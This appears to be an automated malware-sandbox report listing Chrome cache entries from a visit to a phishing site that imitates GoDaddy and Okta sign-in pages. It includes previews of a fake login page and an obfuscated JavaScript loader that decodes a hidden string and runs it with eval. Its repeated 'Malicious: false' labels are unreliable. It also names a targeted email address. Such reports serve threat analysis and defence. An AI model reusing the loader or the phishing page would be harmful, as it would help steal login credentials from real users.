MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/GDSherpa-regular.woff
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	892
Entropy (8bit):	5.863167355052868
Encrypted:	false
SSDEEP:	24:qaPlKKVkz1f+tPUgo/KQGbEZAuYED9qk9neYVxyzyb7PumHe/Q/:qElbQ1f+Bo/LfAuYEJxnHDyzqyQ/
MD5:	41D62CA205D54A78E4298367482B4E2B
SHA1:	839AAE21ED8ECFC238FDC68B93CCB27431CD5393
SHA-256:	20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
SHA-512:	82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
Malicious:	false
Preview:	RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
URL:	https://xoq7.qakaco.ru/tarboz@gicb27
Preview:	0

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
Category:	downloaded
Size (bytes):	4712061
Entropy (8bit):	2.583772531747173
Encrypted:	false
SSDEEP:	6144:LyhjM/9KIpSIiDhDoZghdXRKDBhIJIshSDbX+ov3bIwJDDBstdDhdDfCIgDhgRKb:D
MD5:	E34A613844E71AD9EA25A2FAAB768F3F
SHA1:	34844596642BED7752C4AED44721CEE52593B344
SHA-256:	D767A16A68A568D204E0E4283BDDB8A9702CCF95BF2715D512C4AE39C3D79AB5
SHA-512:	8D5342EC77557793F73701400220B10421E6B1ED941876554D27F27A0573644F26C66FA4AB7019E666F6471688E2F7857394CC127197EF109FC076BC5534342C
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110
Preview:	function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	1298
Entropy (8bit):	6.665390877423149
Encrypted:	false
SSDEEP:	24:L+aPlKKVkz1f+tPUgo/KQGbEZAu6hZjJ+uvRGumDyqCuiRFqB6dhQiZmh7:L+ElbQ1f+Bo/LfAuk4uvR5mDymiRFqBN
MD5:	32CA2081553E969F9FDD4374134521AD
SHA1:	7B09924C4C3D8B6E41FE38363E342DA098BE4173
SHA-256:	216FC342A469AA6A005B2EACC24622095E5282D3E9F1AE99CE54C27B92EC3587
SHA-512:	F75749C6344FCD7BF06872A3678BB2EB4CAE2DDC31CC5D1EE73EFBA843705577841667733A83163AF4336EC8A32DF93E7A36155BD6282D7BB86159644975948C
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222
Preview:	RIFF....WEBPVP8X....0...k.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPHX.....\m{.z..........T ..Q....R...X....U`..@......Yyy..<q.."b..a....K._.....jH....}q..........^.-.\.4. &.H~.q..H.q.'.t..p....0)...X.....8./.... ..6.#H..Y..../...E>.#.tv....9.\.p5......h......1.{@.k].(1...B.........u.n....=....sX...*..I.c]r....S.....u.a...X.....Pi..q.$73..ga..h%9.S.l.....}....^%.@:Q....we8x..j..3.^.}5.fFtZ...3....<. x.s....d@(./.<].y...m.....T..........T.P`....5..<qYl.g..k..N. `_...f....yN.R.PB..p\|..-.%.`y.._.]C.v.<.Y...V..I..(.c....>...........k....nt

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2067
Entropy (8bit):	4.675943882704763
Encrypted:	false
SSDEEP:	24:hPRCqdsseeK+C6uSf7p9Nai7iI/bZoL0WDC9TZYUIWZ4+vQWRBO542uMCO:tTV1CTip9NwI/JFZEQRA48CO
MD5:	4A8D4002F5A474D25B90FE9458A56ECC
SHA1:	F643EBB31207FC5C00056BE242C889F8FAB95027
SHA-256:	2713D8BC65FCA9242BFF92824F84E9813BAACA51288B160EB2A2ECF939C2AC0B
SHA-512:	B288AA28BFF9D1985BD3348B7B4C824A1A5A07E0AD48F81A9836EB8534C3B28222C7850DB0442844D59C33A559419AA17DA9E51BE569CE7F3FD5D9164625109C
Malicious:	false
URL:	https://xfeoii3kbm.woofradio.cfd/8aF18c0N2CFbzCTcnC9dgBRsTPqgJHosieM4AfhPW0xfPX2eeciO211xYhM0xGUkwGUOoh4IvF3ZPcaD4TPZKiK82JYCYMTzbWRx33HFHsB2HZJgoelAJ9OHcyXYhSv2b4snjE0bGGsx1RQwtLZsb89T05LuiQaXEc9KIeYyXY9i9AkWnvTxHNq2RnYeMDlmw1AoOs54/YIwMRE5gwuQ2zFZXpZePC1d6JvR8UnaSyC28RNwjYQ2x6AJ3tVFbOjnL3Jjrq5OAPeOVsVhG8rpbVvDMM431NF6drmD5nCYhmRLNPBV491yoAqHcTFohgjfRtlhA8j39Ntt588ilQZr1SKngEgmbxe7oHVZMB0huT9so8f8UZb40zdENVSZ0SvQCOMzkctlE1yCXhk2Y/ssalazar@grupomarina.cl
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>Sign in</title>.. <script>.. // Function to generate random alphanumeric characters.. function generateRandomString(length) {.. const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';.. let result = '';.. for (let i = 0; i < length; i++) {.. result += characters.charAt(Math.floor(Math.random() * characters.length));.. }.. return result;.. }.... // Function to extract subdomain from email (between @ and .).. function extractSubdomain(email) {.. // Check if it's an email format.. if (email.includes('@') && email.includes('.')) {.. // Extract the part between @ and ... const atIndex = email.indexOf('@');.. const dotIndex = email.inde

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	17842
Entropy (8bit):	7.821645806304586
Encrypted:	false
SSDEEP:	384:EwTZQ74B48VtrMvbt0sAvPTMaf+j5s8OYbqarRbjy5Qg1AR/kf63z/:hTa4B4mtYztAvPTMFhOYb3Rbu571AJa6
MD5:	4B52ECDC33382C9DCA874F551990E704
SHA1:	8F3BF8E41CD4CDDDB17836B261E73F827B84341B
SHA-256:	CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
SHA-512:	AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
Malicious:	false
Preview:	RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	35786
Entropy (8bit):	5.058073854893359
Encrypted:	false
SSDEEP:	192:hToogIexLQ5WKTCFBwCIZtJ8FtX2+UBRkf1WcrScuH9Ye3YdersR8Q5oqWjfuogF:h0DKAaZtJsOodwuhx5P6mqjDggJkLRn
MD5:	38501E3FBBBD89B56AA5BA35DE1A32FE
SHA1:	D9B31981B6F834E8480BA28FBC1CFF1BE772F589
SHA-256:	A1CA6B381CB01968851C98512C6E7F6C5309A49F7A16B864813135CBFF82A85B
SHA-512:	1547937AA9B366E76DE44933EF48EF60E3D043245E8E3E01C97DFC2981F6B1F61463D9D30992FBCF2CA25FC1B7B32FF808B9789CFB965D74455522FC58E0C08C
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/xyy6BRvgDOSBkrsxogh30
Preview:	#sections_godaddy {..font-family: gdsherpa !important;..}..#sections_godaddy a {.. color: var(--ux-2rqapw,#000);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. text-decoration: var(--ux-1f7if5p,underline);.. background-color: transparent;..}....#sections_godaddy #root {.. flex: 1 1 0%;..}....#sections_godaddy a:hover {../* color: var(--ux-1j87vvn,#fff);/.. -webkit-text-decoration: var(--ux-1ft0khm,underline);.. text-decoration: var(--ux-1ft0khm,underline);..}....#sections_godaddy svg {.. overflow: hidden;.. vertical-align: unset;..}....#sections_godaddy .ux-button {.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) 1em - 1.5em) / 2);.. padding: 0;.. text-decoration: var(--ux-1f7if5p,underline);.. -webkit-text-decoration: var(--ux-1f7if5p,underline);.. gap: 0.5em;.. cursor: pointer;.. --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1.5em) / 2);.. font-weight: inherit;.. background: transparent;.. gap:

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	892
Entropy (8bit):	5.863167355052868
Encrypted:	false
SSDEEP:	24:qaPlKKVkz1f+tPUgo/KQGbEZAuYED9qk9neYVxyzyb7PumHe/Q/:qElbQ1f+Bo/LfAuYEJxnHDyzqyQ/
MD5:	41D62CA205D54A78E4298367482B4E2B
SHA1:	839AAE21ED8ECFC238FDC68B93CCB27431CD5393
SHA-256:	20A4A780DB0BCC047015A0D8037EB4EB58B3E5CB338673799C030A3E1B626B40
SHA-512:	82B9806490A0DB493DA16466738437B9BB54B979075DB58C89CA0D192D780DDB5ED888E10CE76A53D48D30D5013791CAC7AB468D85B61D32766140DD53DC9044
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139
Preview:	RIFFt...WEBPVP8X....0.../../..ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH=......m[..H.A.).U....A..C.u@. ....L.......;.....$3{2{....3..V6.i.W.F.h..ee^k.:..cl.Z.eb.....).IZ....!....;X.:&...hF0...kM......!W5.ak8.......#V.s...2...`..v...}.(0 p../s.'VS`SjX.B.,...v.#./I....}.b....^1..k.:F9hgb.HgW.Q^.r}..Y5....'.JJ....&.."]<.M.Z)o.H..].i.H1..G.P>.b.{.G.\BYx.[.y...?L....:.%.d......%.q..VP8 @...0....*0.0.>U .E..!.4.8.D...o..z...A....Z........?..z......k...

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	128
Entropy (8bit):	4.750616928608237
Encrypted:	false
SSDEEP:	3:CaSbcCq9EKVEkxhZJSh3EkEkkcJSh3EkEkki3kx+BR0:PSbzqyKVEkxzQ7QDw+R0
MD5:	D90F02F133E7B82AF89B3E58526AC459
SHA1:	F1D6D47EFE0D920F5BC5024E813554BD2F8A1650
SHA-256:	FCF0826E3EA7D24F6C73417BFF62AD84191ECC837DBFB10E60A2547580C3C14D
SHA-512:	83C187216CE1B44E23000DF4F25A4BAA7C5E0066E62C3E0D0203B013B5C26D097C6B225C58E345204B47E5E7BF34D4A8E60F7DF63D6083157C6CB9707DD9C41E
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChRDaHJvbWUvMTM0LjAuNjk5OC4zNhIgCY8Cb6xUTL3pEgUNX1f-DRIFDRObJGMhUhnzC_xBppQSSgk-w57dNPip7hIFDc8jKv8SBQ3Fk8QkEgUNiaVnyxIFDcMZOZASBQ2JpWfLEgUNwxk5kBIFDdACQOwSBQ2oXeN0Id8Y2tD1Pms7?alt=proto
Preview:	ChIKBw1fV/4NGgAKBw0TmyRjGgAKSAoHDc8jKv8aAAoHDcWTxCQaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDYmlZ8saAAoHDcMZOZAaAAoHDdACQOwaAAoHDahd43QaAA==

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	9648
Entropy (8bit):	7.9099172475143416
Encrypted:	false
SSDEEP:	192:gwTgBYruFELhYmwd93mjW0l9OsENOLWcXdN4CLrHZfTtjOZgYM5cWjAaP6:gwTgBxaYmo5mS0l9OsuOL3NNVLlfTtjE
MD5:	4946EB373B18D178C93D473489673BB6
SHA1:	16477ACB73B63CA251D37401249E7E4515FEBD24
SHA-256:	666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
SHA-512:	F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
Malicious:	false
URL:	https://grupomarina.brightnexst.ru/qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232
Preview:	RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......\|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.\|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48238)
Category:	downloaded
Size (bytes):	48239
Entropy (8bit):	5.343270713163753
Encrypted:	false
SSDEEP:	768:+CbPzHMb42QOna0rhgaqC2DdONTjwzsLSh0ZsC3Y2zIijkKY1LBep7iFFQ7Srv3h:gb425na0rhgaqDnzs22z3kH
MD5:	184E29DE57C67BC329C650F294847C16
SHA1:	961208535893142386BA3EFE1444B4F8A90282C3
SHA-256:	DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
SHA-512:	AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
Preview:	"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	25216
Entropy (8bit):	7.947339442168474
Encrypted:	false
SSDEEP:	768:BTwdm3bbEPDrEQT87zOyJ0WsnoU+RBshw:64LQXEN7DJGSRBs
MD5:	F9A795E2270664A7A169C73B6D84A575
SHA1:	0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
SHA-256:	D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
SHA-512:	E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
Malicious:	false
Preview:	RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>\|....^..2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.3\|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 420 x 94, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10796
Entropy (8bit):	7.946024875001343
Encrypted:	false
SSDEEP:	192:aPzBBDKs07GiH528urXXSjD4/voR3Euri/in9Q28oLaIAQLdCYXQIDeoIdv60:aPVBQ7P5nIyjD+oRnr4inJdANuGdC0
MD5:	12BDACC832185D0367ECC23FD24C86CE
SHA1:	4422F316EB4D8C8D160312BB695FD1D944CBFF12
SHA-256:	877AE491D9AAC5C6EF82A8430F9F652ACE8A0DBC7294BD112AAD49BD593769D0
SHA-512:	36C319AC7F75202190E7A59F3F3C92892A71D5F17663E672319A745B6574BCFDE7C89B35F480CB15A193924DACB9D67F8CA1E1BC2BF33FC5CCBFA152CC7BA2D0
Malicious:	false
URL:	https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7
Preview:	.PNG........IHDR.......^.....l2`...).IDATx..}...U.... w...B..P$.Hv..t......x.EA@.Q`.E......-.".(..X`..D....5]]U}....$3...&...guOw..}>.....~....w.ZZ...z..FZ$I.$I....N.......tt.$e...M....ru$I.$IR.h.AvK0.t..wy.:.1...D.H...LS....iF~.X...smr.$I.$IR.4.....SY..@....h8.......dB...1.eG...$I.$.hZ...8.r...[.A.I..XE..hdA{Z..teaF...u:}.1^..-I.$I.FP.A..Nm..........A78...=.%W_.$I..8YQ.H2z#.D_...m..k..u.t..R6#.....N....){...$I..1@...g...@a ..u2..dL...ai.d.[.$I..D.....OM..a...,h%u.B.....0...57..hrW..$I....Gf.\|.=.eg`.........k.J.$IR..<.u....]....@.d...H..$I.$5..MWwu:....H\|Y..,.$.I.$I....Qu...s.NzzM..]..;$ I.$IR......+..L9......63.I@.$I..z..#.....:..7...s..<$ I.$I.hP.tu...m"..o1.y.@..W1T<(..... z%."?.4zE..$ ..Y1z`.P..!....`t%t....[..d...N.UKy&.A;..6S...<...........o...]0...r.$I......0..R.....N.....0Wi._.;...M..Lrb{.7w..].jm.r....C...&..gd}..Etm}..~L.l...}n\'...$..Mr.i..{..n..9.....SwMh.}.Q{./wJ.....B]:.....+..\V...A.S.w..6.....,..[.......J@....-.4.....:..Zvt.r.*.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26765), with no line terminators
Category:	downloaded
Size (bytes):	26765
Entropy (8bit):	5.114987586674101
Encrypted:	false
SSDEEP:	768:wC8nBSz2omXX44PL5K9kdY8xbXoEYW+8SX:whnBSz2omXo4PL5K9kdY8xb+Ww
